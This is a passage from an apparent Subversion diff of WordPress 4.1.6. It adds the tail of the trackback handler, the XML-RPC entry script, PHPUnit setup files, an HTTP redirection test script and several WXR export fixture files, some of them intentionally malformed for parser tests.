+	if ( !pings_open($tb_id) )
+		trackback_response(1, 'Sorry, trackbacks are closed for this item.');
+
+	$title =  wp_html_excerpt( $title, 250, '&#8230;' );
+	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );
+
+	$comment_post_ID = (int) $tb_id;
+	$comment_author = $blog_name;
+	$comment_author_email = '';
+	$comment_author_url = $tb_url;
+	$comment_content = "<strong>$title</strong>\n\n$excerpt";
+	$comment_type = 'trackback';
+
+	$dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) );
+	if ( $dupe )
+		trackback_response(1, 'We already have a ping from that URL for this post.');
+
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type');
+
+	wp_new_comment($commentdata);
+	$trackback_id = $wpdb->insert_id;
+
+	/**
+	 * Fires after a trackback is added to a post.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $trackback_id Trackback ID.
+	 */
+	do_action( 'trackback_post', $trackback_id );
+	trackback_response( 0 );
+}
Index: /tags/4.1.6/src/xmlrpc.php
===================================================================
--- /tags/4.1.6/src/xmlrpc.php	(revision 33402)
+++ /tags/4.1.6/src/xmlrpc.php	(revision 33402)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * XML-RPC protocol support for WordPress
+ *
+ * @package WordPress
+ */
+
+/**
+ * Whether this is an XML-RPC Request
+ *
+ * @var bool
+ */
+define('XMLRPC_REQUEST', true);
+
+// Some browser-embedded clients send cookies. We don't want them.
+$_COOKIE = array();
+
+// A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
+// but we can do it ourself.
+if ( !isset( $HTTP_RAW_POST_DATA ) ) {
+	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
+}
+
+// fix for mozBlog and other cases where '<?xml' isn't on the very first line
+if ( isset($HTTP_RAW_POST_DATA) )
+	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
+
+/** Include the bootstrap for setting up WordPress environment */
+include('./wp-load.php');
+
+if ( isset( $_GET['rsd'] ) ) { // http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+?>
+<?php echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd">
+  <service>
+    <engineName>WordPress</engineName>
+    <engineLink>http://wordpress.org/</engineLink>
+    <homePageLink><?php bloginfo_rss('url') ?></homePageLink>
+    <apis>
+      <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <?php
+      /**
+       * Add additional APIs to the Really Simple Discovery (RSD) endpoint.
+       *
+       * @link http://cyber.law.harvard.edu/blogs/gems/tech/rsd.html
+	   *
+       * @since 3.5.0
+       */
+      do_action( 'xmlrpc_rsd_apis' );
+      ?>
+    </apis>
+  </service>
+</rsd>
+<?php
+exit;
+}
+
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
+
+/**
+ * Posts submitted via the XML-RPC interface get that title
+ * @name post_default_title
+ * @var string
+ */
+$post_default_title = "";
+
+/**
+ * Filter the class used for handling XML-RPC requests.
+ *
+ * @since 3.1.0
+ *
+ * @param string $class The name of the XML-RPC server class.
+ */
+$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
+$wp_xmlrpc_server = new $wp_xmlrpc_server_class;
+
+// Fire off the request
+$wp_xmlrpc_server->serve_request();
+
+exit;
+
+/**
+ * logIO() - Writes logging info to a file.
+ *
+ * @deprecated 3.4.0
+ * @deprecated Use error_log()
+ *
+ * @param string $io Whether input or output
+ * @param string $msg Information describing logging reason.
+ */
+function logIO( $io, $msg ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'error_log()' );
+	if ( ! empty( $GLOBALS['xmlrpc_logging'] ) )
+		error_log( $io . ' - ' . $msg );
+}
Index: /tags/4.1.6/tests/phpunit/README.txt
===================================================================
--- /tags/4.1.6/tests/phpunit/README.txt	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/README.txt	(revision 33402)
@@ -0,0 +1,23 @@
+The short version:
+
+1. Create a clean MySQL database and user.  DO NOT USE AN EXISTING DATABASE or you will lose data, guaranteed.
+
+2. Copy wp-tests-config-sample.php to wp-tests-config.php, edit it and include your database name/user/password.
+
+3. $ svn up
+
+4. Run the tests from the "trunk" directory:
+   To execute a particular test:
+      $ phpunit tests/phpunit/tests/test_case.php
+   To execute all tests:
+      $ phpunit
+
+Notes:
+
+Test cases live in the 'tests' subdirectory.  All files in that directory will be included by default.  Extend the WP_UnitTestCase class to ensure your test is run.
+
+phpunit will initialize and install a (more or less) complete running copy of WordPress each time it is run.  This makes it possible to run functional interface and module tests against a fully working database and codebase, as opposed to pure unit tests with mock objects and stubs.  Pure unit tests may be used also, of course.
+
+Changes to the test database will be rolled back as tests are finished, to ensure a clean start next time the tests are run.
+
+phpunit is intended to run at the command line, not via a web server.
Index: /tags/4.1.6/tests/phpunit/build.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/build.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/build.xml	(revision 33402)
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="utf-8"?>
+<project name="WordPress Unit Tests" default="build" basedir=".">
+    <target name="clean">
+        <delete dir="build" />
+    </target>
+    <target name="prepare">
+        <mkdir dir="build/logs" />
+        <mkdir dir="build/phpunitreport" />
+    </target>
+    <target name="phpunit">
+        <exec command="phpunit" passthru="true"></exec>
+        <phpunitreport infile="build/logs/junit.xml" format="frames" todir="build/phpunitreport" usesorttable="true" />
+    </target>
+    <target name="build" depends="clean,prepare,phpunit" />
+</project>
Index: /tags/4.1.6/tests/phpunit/data/WPHTTP-testcase-redirection-script.php
===================================================================
--- /tags/4.1.6/tests/phpunit/data/WPHTTP-testcase-redirection-script.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/WPHTTP-testcase-redirection-script.php	(revision 33402)
@@ -0,0 +1,139 @@
+<?php
+
+// Thanks WordPress..
+function is_ssl() {
+	if ( isset($_SERVER['HTTPS']) ) {
+		if ( 'on' == strtolower($_SERVER['HTTPS']) )
+			return true;
+		if ( '1' == $_SERVER['HTTPS'] )
+			return true;
+	} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+$url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . (!empty($_SERVER['HTTP_POST']) && 80 != $_SERVER['HTTP_POST'] ? ':' . $_SERVER['HTTP_POST'] : '');
+if ( strpos($_SERVER['REQUEST_URI'], '?') )
+	$url .= substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], '?'));
+else
+	$url .= $_SERVER['REQUEST_URI'];
+
+if ( isset($_GET['source']) ) {
+	highlight_file(__FILE__ );
+	exit;
+}
+
+if ( isset($_GET['201-location']) ) {
+	header("HTTP/1.1 201 OK");
+	if ( isset($_GET['fail']) ) {
+		echo "FAIL";
+	} else {
+		header("Location: $url?201-location&fail=true", true, 201);
+		echo "PASS";
+	}
+	exit;
+}
+if ( isset($_GET['header-check']) ) {
+	$out = array();
+	header("Content-type: text/plain");
+	foreach ( $_SERVER as $key => $value ) {
+		if ( stripos($key, 'http') === 0 ) {
+			$key = strtolower(substr($key, 5));
+			echo "$key:$value\n";
+		}
+	}
+	exit;
+}
+if ( isset($_GET['multiple-headers']) ) {
+	header("HeaderName: One", false);
+	header("HeaderName: Two", false);
+	header("HeaderName: Three", false);
+	exit;
+}
+
+if ( isset( $_GET['post-redirect-to-method'] ) ) {
+	$method = $_SERVER['REQUEST_METHOD'];
+	$response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301;
+
+	if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) {
+		header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code );
+		exit;
+	}
+
+	echo $method;
+	exit;
+	
+}
+
+if ( isset( $_GET['location-with-200'] ) ) {
+	if ( ! isset( $_GET['redirection-performed'] ) ) {
+		header( "HTTP/1.1 200 OK" );
+		header( "Location: $url?location-with-200=1&redirection-performed", true, 200 );
+		echo 'PASS';
+		exit;
+	}
+	// Redirection was followed
+	echo 'FAIL';
+	exit;
+}
+
+if ( isset( $_GET['print-pass'] ) ) {
+	echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['multiple-location-headers'] ) ) {
+	if ( ! isset( $_GET['redirected'] ) ) {
+		header( "Location: $url?multiple-location-headers=1&redirected=one", false );
+		header( "Location: $url?multiple-location-headers=1&redirected=two", false );
+		exit;
+	}
+	if ( 'two' != $_GET['redirected'] )
+		echo 'FAIL';
+	else
+		echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['cookie-test'] ) ) {
+	if ( 'test-cookie' != $_GET['cookie-test'] ) {
+		setcookie( 'api_test_cookie', 'value', time() + 365*24*60*60, '/core/tests/1.0/', 'api.wordpress.org' );
+		setcookie( 'api_test_cookie_minimal', 'value'  );
+		setcookie( 'api_test_cookie_wrong_host', 'value', time() + 365*24*60*60, '/', 'example.com' );
+		setcookie( 'api_test_wildcard_domain', 'value', time() + 365*24*60*60, '/', '.wordpress.org' );
+		setcookie( 'api_test_cookie_expired', 'value', time() - 365*24*60*60, '/', '.wordpress.org' );
+		header( "Location: $url?cookie-test=test-cookie" );
+		exit;
+	}
+
+	if ( empty( $_COOKIE['api_test_cookie'] ) || 'value' != $_COOKIE['api_test_cookie'] )
+		die( 'FAIL_NO_COOKIE' );
+	if ( empty( $_COOKIE['api_test_cookie_minimal'] ) )
+		die( 'FAIL_NO_MINIMAL' );
+	if ( isset( $_COOKIE['api_test_cookie_wrong_host'] ) )
+		die( 'FAIL_WRONG_HOST' );
+	if ( empty( $_COOKIE['api_test_wildcard_domain'] ) )
+		die( 'FAIL_NO_WILDCARD' );
+	if ( isset( $_COOKIE['api_test_cookie_expired'] ) )
+		die( 'FAIL_EXPIRED_COOKIE' );
+
+	echo 'PASS';
+	exit;
+}
+
+
+$rt = isset($_GET['rt']) ? $_GET['rt'] : 5;
+$r = isset($_GET['r']) ? $_GET['r'] : 0;
+
+if ( $r < $rt ) {
+	$code = isset($_GET['code']) ? (int)$_GET['code'] : 302;
+	header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code);
+	echo "Redirect $r of $rt";
+	exit;
+}
+echo "Redirect $r of $rt is FINAL.<br/>";
+echo "GET['rt'] = Total times to redirect. Defaults to 5.<br />";
+echo "GET['r'] = Current redirection. Defaults to 0.<br />";
+echo "<a href='$url?source=true'>View Source</a>";
+
Index: /tags/4.1.6/tests/phpunit/data/export/crazy-cdata-escaped.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/crazy-cdata-escaped.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/crazy-cdata-escaped.xml	(revision 33402)
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]]]><![CDATA[> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]]]><![CDATA[> closing <![CDATA[ tags like this: ]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/crazy-cdata.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/crazy-cdata.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/crazy-cdata.xml	(revision 33402)
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/invalid-version-tag.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/invalid-version-tag.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/invalid-version-tag.xml	(revision 33402)
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>51</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 2]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>52</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah-halb</wp:term_slug><wp:term_parent>halb</wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>53</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>child-parent-2</wp:term_slug><wp:term_parent>parent-2</wp:term_parent><wp:term_name><![CDATA[chilD]]></wp:term_name></wp:term>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/malformed.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/malformed.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/malformed.xml	(revision 33402)
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
